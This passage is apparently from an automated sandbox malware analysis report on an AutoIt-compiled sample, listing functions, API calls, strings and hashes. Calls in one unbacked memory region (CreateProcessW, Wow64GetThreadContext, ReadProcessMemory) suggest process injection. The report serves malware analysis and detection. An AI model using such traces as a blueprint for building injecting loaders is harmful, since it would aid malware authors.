Part of subcall function 00653041: RegisterClassExW.USER32(00000030), ref: 0065309E
Part of subcall function 00653041: RegisterWindowMessageW.USER32(TaskbarCreated), ref: 006530AF
Part of subcall function 00653041: InitCommonControlsEx.COMCTL32(?), ref: 006530CC
Part of subcall function 00653041: ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 006530DC
Part of subcall function 00653041: LoadIconW.USER32(000000A9), ref: 006530F2
Part of subcall function 00653041: ImageList_ReplaceIcon.COMCTL32(000000FF,00000000), ref: 00653101

Strings

#, xrefs: 00653AFB
0, xrefs: 00653AF4
AutoIt v3, xrefs: 00653B05

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: Load$Icon$ImageRegister$BrushClassColorList_$CommonControlsCreateCursorInitMessageReplaceWindow
String ID: #$0$AutoIt v3
API String ID: 423443420-4155596026
Opcode ID: 2250bf511e4de6db381ff249c170a5604641131a07e4794348509f4ea566ce1f
Instruction ID: d53f2edf338af27de84c91941e460910e1e0a8aee782eded132b434a20cb79ea
Opcode Fuzzy Hash: 2250bf511e4de6db381ff249c170a5604641131a07e4794348509f4ea566ce1f
Instruction Fuzzy Hash: 652129B2D11304EBEB14DFA8EC09BDD7BB1FB48711F00811AE500A62E1D3B956448B98

Function 00653766 Relevance: 16.0, APIs: 1, Strings: 8, Instructions: 267
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

CMDLINERAW, xrefs: 006537FB
/AutoIt3ExecuteLine, xrefs: 006538A7
/AutoIt3ExecuteScript, xrefs: 006538BC
CMDLINE, xrefs: 00653822
/AutoIt3OutputDebug, xrefs: 00653892
/ErrorStdOut, xrefs: 0065387D
>>>AUTOIT NO CMDEXECUTE<<<, xrefs: 006537AE
Rq, xrefs: 0068D213

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: FileLibraryLoadModuleName__wcsicmp_l_memmove
String ID: /AutoIt3ExecuteLine$/AutoIt3ExecuteScript$/AutoIt3OutputDebug$/ErrorStdOut$>>>AUTOIT NO CMDEXECUTE<<<$CMDLINE$CMDLINERAW$Rq
API String ID: 1825951767-3000925734
Opcode ID: 4030b22e97089230c814587367a1a428cb83e4c3e48e0415363aecad0a0837d9
Instruction ID: 70e60471ceaeff6fb88bfb6eb08a80b93bad262efa4d68bb6399343da98666eb
Opcode Fuzzy Hash: 4030b22e97089230c814587367a1a428cb83e4c3e48e0415363aecad0a0837d9
Instruction Fuzzy Hash: 90A191B2D0022D9ACB44EBA4DC56AEEB77ABF54301F40052EF806B7291DF745A0CCB64

Function 0065F76F Relevance: 14.2, APIs: 3, Strings: 5, Instructions: 168
comCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00670162: MapVirtualKeyW.USER32(0000005B,00000000), ref: 00670193
Part of subcall function 00670162: MapVirtualKeyW.USER32(00000010,00000000), ref: 0067019B
Part of subcall function 00670162: MapVirtualKeyW.USER32(000000A0,00000000), ref: 006701A6
Part of subcall function 00670162: MapVirtualKeyW.USER32(000000A1,00000000), ref: 006701B1
Part of subcall function 00670162: MapVirtualKeyW.USER32(00000011,00000000), ref: 006701B9
Part of subcall function 00670162: MapVirtualKeyW.USER32(00000012,00000000), ref: 006701C1

Part of subcall function 006660F9: RegisterWindowMessageW.USER32(WM_GETCONTROLNAME,?,0065F930), ref: 00666154

GetStdHandle.KERNEL32(000000F6,00000000,00000000), ref: 0065F9CD
OleInitialize.OLE32(00000000), ref: 0065FA4A
CloseHandle.KERNEL32(00000000), ref: 006945C8

Strings

p*, xrefs: 0065F7E1
Sq, xrefs: 0065F7EB
\Tq, xrefs: 0065F7F7
<Wq, xrefs: 0065F930
%n, xrefs: 0065F796, 0065F7A8, 0065F96E, 0065FA51

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: Virtual$Handle$CloseInitializeMessageRegisterWindow
String ID: <Wq$\Tq$p*$%n$Sq
API String ID: 1986988660-1466840592
Opcode ID: 4c773068e1e3511b29d9c9467482100f07777361632eec16021aa1f565ccf87d
Instruction ID: ee7a91cc1e190e03a2150def53513d40b28018d36aa769942d48c693d14a3905
Opcode Fuzzy Hash: 4c773068e1e3511b29d9c9467482100f07777361632eec16021aa1f565ccf87d
Instruction Fuzzy Hash: E781ACB0911A80CE938CDF7DE8456D87BE6EBD8306750C12E9819CB2E1EB7845848F1D

Function 032D25B0 Relevance: 10.7, APIs: 7, Instructions: 239
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNELBASE(00000000,?,80000000,00000007,00000000,00000003,00000080,00000000,?,00000000), ref: 032D2681
VirtualFree.KERNELBASE(00000000,00000000,00008000,00000000,00000000,00000000,00000000,?,?,00000000), ref: 032D28A7

Memory Dump Source

Source File: 00000000.00000002.1379067181.00000000032D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 032D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32d0000_wWXR5js3k2.jbxd

Similarity

API ID: CreateFileFreeVirtual
String ID:
API String ID: 204039940-0
Opcode ID: e7fcc9d0c03c8eebee60ddba528add67e317e316073a556d8272a5bdc8b54fa5
Instruction ID: 58e14c17b826a116b61379ef79944b88487fa42d82416677a3d3bc091084b775
Opcode Fuzzy Hash: e7fcc9d0c03c8eebee60ddba528add67e317e316073a556d8272a5bdc8b54fa5
Instruction Fuzzy Hash: 67A10974E10309EBEB14CFA4D894BEEB7B5FF48304F248599E501BB280D7759A81CBA4

Function 006539D5 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 44
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExW.USER32(00000000,AutoIt v3,AutoIt v3,00CF0000,80000000,80000000,0000012C,00000064,00000000,00000000,00000000,00000001), ref: 00653A03
CreateWindowExW.USER32(00000000,edit,00000000,50B008C4,00000000,00000000,00000000,00000000,00000000,00000001,00000000), ref: 00653A24
ShowWindow.USER32(00000000,?,?), ref: 00653A38
ShowWindow.USER32(00000000,?,?), ref: 00653A41

Strings

edit, xrefs: 00653A1E
AutoIt v3, xrefs: 006539FB, 00653A00, 00653A01

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: Window$CreateShow
String ID: AutoIt v3$edit
API String ID: 1584632944-3779509399
Opcode ID: 5802b15383f86f0fd8ea6faa8fd89aa9def4a49d77fb1f50449575f61a434cbc
Instruction ID: 54095e54c1fc5f8c4fbf3d730972d82dce779d26e510c3dbc2689820ebdf23d7
Opcode Fuzzy Hash: 5802b15383f86f0fd8ea6faa8fd89aa9def4a49d77fb1f50449575f61a434cbc
Instruction Fuzzy Hash: 9DF030B2901290BEEA30571BAC08EA73E7EE7C6F60B00C02AB900A21B0C1750801CAB4

Function 032D23B0 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 132
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 032D22A0: Sleep.KERNELBASE(000001F4), ref: 032D22B1

CreateFileW.KERNELBASE(?,80000000,00000007,00000000,00000003,00000080,00000000), ref: 032D249E

Strings

5KO70KDT2Q, xrefs: 032D2501, 032D2504

Memory Dump Source

Source File: 00000000.00000002.1379067181.00000000032D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 032D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32d0000_wWXR5js3k2.jbxd

Similarity

API ID: CreateFileSleep
String ID: 5KO70KDT2Q
API String ID: 2694422964-157869485
Opcode ID: 89e2e7457391da16eb7394dc3497d18d4cc0fa7707ab292215f9414c15cbf066
Instruction ID: 5e5fe223719f009732fdc90e293b7c6139c5f08f8d5ddd3b45a49d1088fe742a
Opcode Fuzzy Hash: 89e2e7457391da16eb7394dc3497d18d4cc0fa7707ab292215f9414c15cbf066
Instruction Fuzzy Hash: B5516031D14309EBEF10DBA4C858BEEBB78AF44300F004599E609BB2C0DBB55B85CBA5

Function 0065407C Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 88
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadStringW.USER32(00000065,?,0000007F,00000104), ref: 0068D3D7

Part of subcall function 00657BCC: _memmove.LIBCMT ref: 00657C06

_memset.LIBCMT ref: 006540FC
_wcscpy.LIBCMT ref: 00654150
Shell_NotifyIconW.SHELL32(00000001,000003A8), ref: 00654160

Strings

Line: , xrefs: 0068D400

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: IconLoadNotifyShell_String_memmove_memset_wcscpy
String ID: Line:
API String ID: 3942752672-1585850449
Opcode ID: 06b55c601e58204e5cc379db9b86101a1040023531377f1909de835fda950e93
Instruction ID: 1581e499b671b0b963f527b9519cab8b306ba57877ef2a0431bde72dee461a6a
Opcode Fuzzy Hash: 06b55c601e58204e5cc379db9b86101a1040023531377f1909de835fda950e93
Instruction Fuzzy Hash: BD31CFB2008701AFD3A4EB64EC46BDA77DAAF80305F10851EF985921E1DF74968CC79A

Function 0067541D Relevance: 7.7, APIs: 5, Instructions: 163COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 0067547B
_memcpy_s.LIBCMT ref: 006754ED
__read_nolock.LIBCMT ref: 0067554B
__filbuf.LIBCMT ref: 0067556E
_memset.LIBCMT ref: 006755B2

Part of subcall function 00678B28: __getptd_noexit.LIBCMT ref: 00678B28

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: _memset$__filbuf__getptd_noexit__read_nolock_memcpy_s
String ID:
API String ID: 1559183368-0
Opcode ID: dfdd2df0ab245b9716d30a375d324e0946404ce6e082d96a71c3349c3dbc91e5
Instruction ID: 0739e1142037659de2b3830179574fe1cbf16c73576be264418fb5f9aad7d766
Opcode Fuzzy Hash: dfdd2df0ab245b9716d30a375d324e0946404ce6e082d96a71c3349c3dbc91e5
Instruction Fuzzy Hash: EE51C570A00B05DBEB249F69D8805AE77A3AF40321F24C7ADF82E963D4D7B09D918B44

Function 0065686A Relevance: 7.3, APIs: 2, Strings: 2, Instructions: 260COMMON

Download Yara Rule

APIs

Part of subcall function 00654DDD: LoadLibraryExW.KERNEL32(?,00000000,00000002,?,007152F8,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?), ref: 00654E0F

_free.LIBCMT ref: 0068E263
_free.LIBCMT ref: 0068E2AA

Part of subcall function 00656A8C: SetCurrentDirectoryW.KERNEL32(?,?,?,?,00000000), ref: 00656BAD

Strings

Bad directive syntax error, xrefs: 0068E292
>>>AUTOIT SCRIPT<<<, xrefs: 0068E039

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: _free$CurrentDirectoryLibraryLoad
String ID: >>>AUTOIT SCRIPT<<<$Bad directive syntax error
API String ID: 2861923089-1757145024
Opcode ID: 6334cf637708794971f69b34ea2c7a26788549cd5dc5eba189cc8d411cc580bb
Instruction ID: 953b87d2029ab09fc839dbf6b9215c228dd650b6f427cba1dc59c52f45cab4a3
Opcode Fuzzy Hash: 6334cf637708794971f69b34ea2c7a26788549cd5dc5eba189cc8d411cc580bb
Instruction Fuzzy Hash: 23918C719002199FCF44EFA4CC919EDB7BAFF04310F00462EF816AB2A1DB75AA55CB64

Function 006535B0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 59registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNELBASE(80000001,Control Panel\Mouse,00000000,00000001,00000000,00000003,00000000,80000001,80000001,?,006535A1,SwapMouseButtons,00000004,?), ref: 006535D4
RegQueryValueExW.KERNELBASE(00000000,00000000,00000000,00000000,?,?,?,?,006535A1,SwapMouseButtons,00000004,?,?,?,?,00652754), ref: 006535F5
RegCloseKey.KERNELBASE(00000000,?,?,006535A1,SwapMouseButtons,00000004,?,?,?,?,00652754), ref: 00653617

Strings

Control Panel\Mouse, xrefs: 006535D2

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID: Control Panel\Mouse
API String ID: 3677997916-824357125
Opcode ID: e408efd18544ad542937ecbc7c56b75d3567b552332d764e02a19a301bfd28f7
Instruction ID: c74240182437a8558084735fcd9eb749679408b0506da973935421e6e5d774d0
Opcode Fuzzy Hash: e408efd18544ad542937ecbc7c56b75d3567b552332d764e02a19a301bfd28f7
Instruction Fuzzy Hash: 62115A71911228BFDB208F64DC40EEEB7BAEF04B81F00946AF805D7310D2719F549760

Function 032D12A0 Relevance: 6.7, APIs: 4, Instructions: 720processthreadCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNELBASE(?,00000000), ref: 032D1A5B
Wow64GetThreadContext.KERNEL32(?,00010007), ref: 032D1AF1
ReadProcessMemory.KERNELBASE(?,?,?,00000004,00000000), ref: 032D1B13

Memory Dump Source

Source File: 00000000.00000002.1379067181.00000000032D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 032D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32d0000_wWXR5js3k2.jbxd

Similarity

API ID: Process$ContextCreateMemoryReadThreadWow64
String ID:
API String ID: 2438371351-0
Opcode ID: f7a3111ab7015fd8b62422fe8fc399687c9bf18e9b49b2a513bdf356eeec8a8c
Instruction ID: 145ec3c01bc2945131ba53802a9516e10b772bd9169e9253901e0ea04d83d2e1
Opcode Fuzzy Hash: f7a3111ab7015fd8b62422fe8fc399687c9bf18e9b49b2a513bdf356eeec8a8c
Instruction Fuzzy Hash: 80621C30A24258DBEB24CFA4C850BDEB376EF58300F1091A9D10DEB794E7B59E91CB59

Function 006B955B Relevance: 6.2, APIs: 4, Instructions: 155COMMON

Download Yara Rule

APIs

Part of subcall function 00654EE5: _fseek.LIBCMT ref: 00654EFD

Part of subcall function 006B9734: _wcscmp.LIBCMT ref: 006B9824
Part of subcall function 006B9734: _wcscmp.LIBCMT ref: 006B9837

_free.LIBCMT ref: 006B96A2
_free.LIBCMT ref: 006B96A9
_free.LIBCMT ref: 006B9714

Part of subcall function 00672D55: RtlFreeHeap.NTDLL(00000000,00000000,?,00679A24), ref: 00672D69
Part of subcall function 00672D55: GetLastError.KERNEL32(00000000,?,00679A24), ref: 00672D7B

_free.LIBCMT ref: 006B971C

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: _free$_wcscmp$ErrorFreeHeapLast_fseek
String ID:
API String ID: 1552873950-0
Opcode ID: 83a1bf45cb5b46f0fbbb2b282febcfcf75e63ad05b5baa694a85d9b23f0f737c
Instruction ID: b6cc7fee03474d54c233ba677d8d19dd0aa0126a66400264778a2b2fa1ddaa7b
Opcode Fuzzy Hash: 83a1bf45cb5b46f0fbbb2b282febcfcf75e63ad05b5baa694a85d9b23f0f737c
Instruction Fuzzy Hash: 2D514CB1904219AFDF649F64CC85ADEBBBAEF48304F1044AEF60DA3241DB715A91CF58

Function 0067470A Relevance: 6.1, APIs: 4, Instructions: 136COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 006747A0
__flush.LIBCMT ref: 006747C0
__write.LIBCMT ref: 006747F3
__flsbuf.LIBCMT ref: 00674821

Part of subcall function 00678B28: __getptd_noexit.LIBCMT ref: 00678B28

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: __flsbuf__flush__getptd_noexit__write_memmove
String ID:
API String ID: 2782032738-0
Opcode ID: 998aeda2236a74d80706e5f9a46343bd1135ee917ddd04e378ba6ed458c3dace
Instruction ID: 115c0f763891cf23fc88a57e6813349d000593dbe264fb09670ee610b452ab58
Opcode Fuzzy Hash: 998aeda2236a74d80706e5f9a46343bd1135ee917ddd04e378ba6ed458c3dace
Instruction Fuzzy Hash: 7841A275A007499BDB1CCEA9C8889AE77A7AF42360B24C57DE81DCB740EF70DD418B45

Function 00654C70 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 141COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00654CBA

Strings

EA06, xrefs: 0068D8CC
AU3!P/n, xrefs: 00654CB4

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: _memmove
String ID: AU3!P/n$EA06
API String ID: 4104443479-1756779138
Opcode ID: 04158e4b701f919bf29f62ccb8e7aea9151240352b877bd6a38683bb61383118
Instruction ID: b20c9fa0bedeb6f65802016680ab4a004f5335f503136815a4c9fe2f1179e71d
Opcode Fuzzy Hash: 04158e4b701f919bf29f62ccb8e7aea9151240352b877bd6a38683bb61383118
Instruction Fuzzy Hash: 75417D21A0415867DF219B548C927FE7FB39F4530AF2842F9EC829B382DE245DCD83A1

Function 00657285 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0068EA39
GetOpenFileNameW.COMDLG32(?), ref: 0068EA83

Part of subcall function 00654750: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00654743,?,?,006537AE,?), ref: 00654770

Part of subcall function 00670791: GetLongPathNameW.KERNELBASE(?,?,00007FFF), ref: 006707B0

Strings

X, xrefs: 0068EA51

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: Name$Path$FileFullLongOpen_memset
String ID: X
API String ID: 3777226403-3081909835
Opcode ID: 11cca7e426d56530ef8958e8dbd579305025c97c6da3fc612235d7ac934e5e1f
Instruction ID: 82c395145e73dd42aa8ffdca591ff76bf2a22413eca16a16f320b3df826e5814
Opcode Fuzzy Hash: 11cca7e426d56530ef8958e8dbd579305025c97c6da3fc612235d7ac934e5e1f
Instruction Fuzzy Hash: 2C21F670A102489BCB819F94D845BDE7BFEAF49701F008059E848A7281DFB4598DCFA5

Function 006B8D91 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 51COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 006B8DAC
__fread_nolock.LIBCMT ref: 006B8DC1

Strings

EA06, xrefs: 006B8DF3

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: __fread_nolock_memmove
String ID: EA06
API String ID: 1988441806-3962188686
Opcode ID: 6131b89fcbf4018938681a0abbd6e5e5163940f5aca894fa37d1614b50b15b0e
Instruction ID: 5158c015b82c1c3d8e7c63bb4aafcb391b9d4c43e2b167ecba1abc71b45346c9
Opcode Fuzzy Hash: 6131b89fcbf4018938681a0abbd6e5e5163940f5aca894fa37d1614b50b15b0e
Instruction Fuzzy Hash: 3D01F9718042187EDB58CBA8C816EEE7BFCDF11301F00419FF596D31C1E9B5A6048B60

Function 006B98E3 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16COMMON

Download Yara Rule

APIs

GetTempPathW.KERNEL32(00000104,?), ref: 006B98F8
GetTempFileNameW.KERNELBASE(?,aut,00000000,?), ref: 006B990F

Strings

aut, xrefs: 006B9909

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: Temp$FileNamePath
String ID: aut
API String ID: 3285503233-3010740371
Opcode ID: 630748e8568eb44f844f97ded47f1dc337492357564295577b534334295975ca
Instruction ID: 06bcd2d9b2531c5c5d17d7004d8a25083556aac619af009970d8873a8dab5de4
Opcode Fuzzy Hash: 630748e8568eb44f844f97ded47f1dc337492357564295577b534334295975ca
Instruction Fuzzy Hash: A6D05E7994130DABDB50DBE0DC0EFAA777CE704700F0042B2BA95911E1EAB096988B95

Function 006CCADD Relevance: 4.9, APIs: 3, Instructions: 392COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

